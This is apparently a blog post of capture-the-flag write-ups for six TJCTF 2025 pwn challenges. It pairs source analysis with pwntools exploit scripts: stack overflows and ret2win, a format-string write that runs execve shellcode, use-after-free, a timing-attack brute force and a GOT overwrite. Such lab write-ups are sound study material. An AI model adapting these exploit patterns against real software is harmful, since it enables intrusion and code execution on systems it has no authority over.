TJCTF 2025 - PWN Writeups

Writeup

These are quick writeups for the pwn challenges from TJCTF 2025. Unfortunately, I wasn't able to participate during the CTF, but since the platform remained online afterward, I decided to tackle the challenges and document my solutions.


birds

Source Code Analysis

Looking at the source code, we see the following logic:

unsigned int canary = 0xDEADBEEF;
char buf[64];
puts("I made a canary to stop buffer overflows. Prove me wrong!");
gets(buf);
if (canary != 0xDEADBEEF) {
    puts("No stack smashing for you!");
    exit(1);
}

At first glance, it looks like there's a stack canary, but it's just a local variable we can overwrite with the right value—so it's useless as protection.

Now that we've identified a buffer overflow and a bypassable canary, let's check the binary protections:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

Since PIE is disabled and there is no real stack canary, we can perform a simple ret2win attack by overwriting the return address after restoring the canary.

Exploitation Strategy

  • Overflow the buffer to reach the canary.
  • Overwrite the canary with its expected value (0xDEADBEEF).
  • Overwrite the return address to redirect execution to the win function, passing the correct argument (0xA1B2C3D4).

Exploit Code

from pwn import*

elf = context.binary = ELF('./birds')
io = process()

payload = b'A' * (0x50 - 0x4) + p32(0xdeadbeef) + p64(0x0) + p64(0x4011c0) + p64(0xa1b2c3d4) + p64(0x0) + p64(elf.sym.win)
io.sendline(payload)

io.interactive()

buggy

Challenge Overview

We are given a banking program that allows us to perform various operations like viewing balance, depositing, withdrawing, and transferring money.

Key Observations

  1. Format String Vulnerability:

    • In the deposit action, there's a direct use of user input in printf:
    if (DEBUG) {
        printf(inputBuffer);
    }
    
    • This allows us to perform format string attacks
  2. Binary Protections:

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No

The key protection to note here is that the stack is executable, which means we can write and execute shellcode on the stack.

Exploitation Strategy

  1. Initial Setup:

    • The program leaks the address of our input buffer and balance
    • We can calculate the address of saved RIP (return address) from the buffer address
  2. Format String Attack:

    • We need to write the address of our shellcode to the saved RIP
    • Since we need to write multiple bytes and the addresses contain null bytes, we can't do it in one go because fgets() terminates input reading when it encounters a null byte (0x00), which are present in our target addresses
    • We'll use the infinite loop to write one byte at a time using %hhn
  3. Shellcode Execution:

    • Once we've redirected execution to our buffer, we'll place shellcode to spawn a shell
    • The shellcode will be placed at the beginning of our buffer

Exploit Code

from pwn import*

context.terminal = ['kitty', '-e']

elf = context.binary = ELF('./chall')
io = process()

buf = int(io.recvuntil(b',', drop=True), 16)
savedRIP = buf + 0x418
log.info("Buffer is at: " + hex(buf))
log.success("Found saved rip address: " + hex(savedRIP))

def writeToMem(address, value):
    if value == 0:
        return
    payload = b'A' * 0x20 + p64(address)
    io.send(payload)
    io.sendline() # flush the nullbytes in the input buffer

    io.sendline(b'deposit')
    payload = f"%{value}c".encode()
    payload += b'%16$hhn'
    io.sendline(payload)

buf = buf + 0x8  # offset so our shellcode doesn't get overwritten when we write 'exit'
writeToMem(savedRIP, buf & 0xff)
writeToMem(savedRIP + 0x1, (buf >> 8) & 0xff)
writeToMem(savedRIP + 0x2, (buf >> 16) & 0xff)
writeToMem(savedRIP + 0x3, (buf >> 24) & 0xff)
writeToMem(savedRIP + 0x4, (buf >> 32) & 0xff)
writeToMem(savedRIP + 0x5, (buf >> 40) & 0xff)
writeToMem(savedRIP + 0x6, (buf >> 48) & 0xff)
writeToMem(savedRIP + 0x7, (buf >> 56) & 0xff)

payload = b'A' * 0x8
payload += asm("""
mov rbx, 0x0068732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
""")

io.sendline(payload)
io.interactive()

Explanation of the Exploit

  1. Format String Vulnerability:

    • We use the format string vulnerability in the deposit action to write to memory
    • The %hhn format specifier writes a single byte, allowing us to write the address byte by byte
  2. Memory Writing:

    • We write the target address to a known location in our buffer that already contains null bytes (since we can't place null bytes ourselves)
    • Using GDB, we can easily find such a location at offset 0x20
    • Then use format string to write the desired value to that address
    • We repeat this process for each byte of the saved RIP address
  3. Shellcode:

    • Once we've redirected execution to our buffer, we place our shellcode

city-planning

Challenge Overview

We are given a city planning program that allows us to submit building plans and try to guess the coordinates of a secret headquarters building to get the flag.

Key Observations

  1. Memory Management:

    • The program allocates memory for a secret HQ building (superSecretHQ) and then frees it if it doesn't meet approval criteria
    • The approval criteria for HQ is:
    bool approveHQ(HQPlan *plan) {
        if (plan->numAcres >= 100) {
            free(plan);
            plan = NULL;
            return false;
        }
        if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) {
            free(plan);
            plan = NULL;
            return false;
        }
        return true;
    }
    
    • Since the HQ coordinates are set to rand() % 150 + 50, they will always be >= 50, causing the HQ to be freed
  2. Use-After-Free Vulnerability:

    • The program allocates currentBuilding after freeing superSecretHQ
    • Both structures have similar sizes:
      • buildingPlan: 32 (name) + 4 (numAcres) + 8 (coordinates) = 44 bytes
      • HQPlan: 4 (numAcres) + 8 (coordinates) + 32 (entryCode) = 44 bytes
    • Due to heap reuse, currentBuilding will likely be allocated at the same address as the freed superSecretHQ
  3. Exploitation Path:

    • We can control the name field of currentBuilding (32 bytes)
    • This will overwrite the numAcres and coordinates fields of the freed superSecretHQ
    • When we guess the coordinates later, we can set them to 0 since our input will have overwritten them

Exploitation Strategy

  1. Submit a building plan that gets approved:

    • Name: Any 4 bytes or less (will overwrite HQ numAcres and set its coordinates to 0)
    • Size: < 10 acres
    • Coordinates: < 200
  2. When asked to guess HQ coordinates:

    • Enter 0 for both coordinates since our input has overwritten them

Exploit Code

from pwn import *

io = process('./chall')

io.sendlineafter(b'name: ', b'A' * 3)
io.sendlineafter(b'acres): ', b'5')
io.sendlineafter(b'center): ', b'100')
io.sendlineafter(b'center): ', b'100')

io.sendlineafter(b'coordinate: ', b'0')
io.sendlineafter(b'coordinate: ', b'0')

io.interactive()

extra-credit

Challenge Overview

The challenge presents a student grade management system where we need to gain teacher access to change grades and obtain the flag. The system has two main security checks:

  1. ID validation
  2. Secret code authentication

Key Observations

  1. Teacher ID Check:

    • The system checks if the ID is a valid student ID (less than 10)
    • The teacher's ID is 0xbee
    • The ID is cast to a short before comparison, allowing for integer overflow
  2. Secret Code Authentication:

    • Uses a timing-based side channel attack
    • The process slows down (sleeps) when more correct characters are provided
    • This creates a timing difference we can measure to determine correct characters

Exploitation Strategy

The exploit requires two main steps:

  1. Bypass Teacher ID Check:

    • Since the ID is cast to a short before comparison, we can use a negative integer to bypass the ID check
    • The lower 16 bits need to be 0x0bee
    • Example: 0xffff0bee will be cast to 0x0bee as a short
  2. Crack the Secret Code:

    • Implement a timing attack to determine the correct characters
    • Measure response times for each possible character
    • Build the secret code character by character
    • Use the complete secret code to authenticate as teacher

Exploit Code

from pwn import *
import time
import string

context.log_level = 'error'
context.binary = './gradeViewer'

SECRET_LENGTH = 32
keys = string.ascii_lowercase + string.digits

def crack_secret():
    known_secret = bytearray(b'?' * SECRET_LENGTH)

    for position in range(SECRET_LENGTH):
        max_time = 0
        best_key = None

        for key in keys:
            test_secret = known_secret.copy()
            test_secret[position] = ord(key)

            print(f"\r[*] Current: {test_secret.decode()}", end='', flush=True)

            io = process('./test')
            io.sendlineafter(b'ID:', b'4294904814')
            io.recvuntil(b'[a-z, 0-9]:')

            start_time = time.perf_counter()
            io.sendline(test_secret)
            response = io.recvuntil((b'granted', b'Invalid'), timeout=2)
            end_time = time.perf_counter()

            io.close()

            elapsed = end_time - start_time

            if b'granted' in response:
                print(f"\n[+] Found secret: {test_secret.decode()}")
                return test_secret.decode()

            if elapsed > max_time:
                max_time = elapsed
                best_key = key

        known_secret[position] = ord(best_key)

    io = process('./test')
    io.sendlineafter(b'ID:', b'4294904814')
    io.sendlineafter(b'[a-z, 0-9]:', known_password)
    response = io.recvuntil((b'granted', b'Invalid'), timeout=2)

    io.close()

crack_secret()

linked

Challenge Overview

We are given a program that manages a linked list of calendar events. The program allows us to add two events, each with a time and name.

Key Observations

  1. Data Structures:
struct event {
    int time;
    char name[128];
    struct event *next;
};

struct eventList {
    int size;
    struct event *head;
};
  1. Vulnerability:
  • The inpcpy function used to copy event names doesn't check for buffer boundaries
  • We can overflow the name buffer to overwrite the next pointer
  • The program doesn't validate the list size when displaying events, allowing us to traverse beyond allocated nodes
  1. Binary Protections:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

Exploitation Strategy

Initially, I thought this was going to be a heap challenge due to the use of linked lists and dynamic memory allocation. However, after checking the binary protections and noticing the hint puts("cat flag.txt"), it became clear that this was a GOT overwrite challenge.

  1. Leak libc address:

    • Use the first event to overflow the name buffer and set the next pointer to point to the GOT entry of puts
    • When displayEvents is called, it will leak the libc address of puts
    • The first 4 bytes will be leaked in the time field and the rest in the name field
  2. Overwrite GOT entry:

    • Use the second event to overwrite the puts GOT entry with the address of system
    • When the program tries to print the hint message, it will execute system("cat flag.txt")

Exploit Code

from pwn import*

elf = context.binary = ELF('./chall')
libc = elf.libc
io = process()

io.sendline(b'1')
payload = b'A' * 0x80 + p32(0x0) + p64(elf.got.puts)
io.sendline(payload)

io.recvuntil(b'A' * 0x80)
low = int(io.recvuntil(b':00', drop=True))
high = u32(io.recvline().strip().ljust(0x4, b'\x00'))
puts = low + (high << 32)
libc.address = puts - libc.sym.puts

io.sendline(str(libc.sym.system & 0xffffffff).encode())
io.interactive()

wrong-warp

Challenge Overview

We are given an ELF file named heroQuest. After reversing the binary using IDA and analyzing it, I discovered the following:

Key Observations

  1. Function Analysis:

    • In the fight function, we can retrieve the flag if the enemy string is finalBoss and we defeat it.
    • However, there is no legitimate way to call the function with finalBoss as the enemy in the binary.
  2. Vulnerability:

    • The save function contains a buffer overflow vulnerability:
      __int64 save()
      {
        _BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF
      
        return gets(v1);
      }
      
  3. Binary Protections:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

Given these protections, we can perform a ret2win attack.

Exploitation Strategies

There are two main ways to exploit the buffer overflow in save:

  1. ret2fight with finalBoss string:

    • We can use a pop rdi; ret gadget to set the rdi register to the address of the string finalBoss in the binary's data section, then return to the fight function. This might require running the binary a few times until we get lucky with a negative value for the enemy's health (since we don't have a pop rdx gadget).
  2. Jump after the if checks in fight:

    • Alternatively, we could jump to the code after the if checks in the fight function. In this case, we would need to pass a writable region to rbp since the flag will be written to rbp-0x70.

I went with the second method.

Exploit Code

from pwn import*

elf = context.binary = ELF('./heroQuest')
io = process()

# to reach the save function
io.sendline(b'MySave')
io.sendline(b'w')
io.sendline(b'r')

payload = b'A' * 0x20
payload += p64(0x404500)
payload += p64(0x401640)

io.sendline(payload)

io.interactive()

Explanation of the Exploit

  1. Buffer Overflow:

    • The save function uses gets() to read user input into a 32-byte buffer (v1).
    • This allows me to overflow the buffer and control the return address.
  2. Payload Construction:

    • b'A' * 0x20: Fills the buffer.
    • p64(0x404500): Passes a writable region to rbp.
    • p64(0x401640): Jumps to the code after the if checks in the fight function.
  3. Execution:

    • The flag is written to the writable region (rbp-0x70) and then printed.
Did you find this post helpful?
Back to blog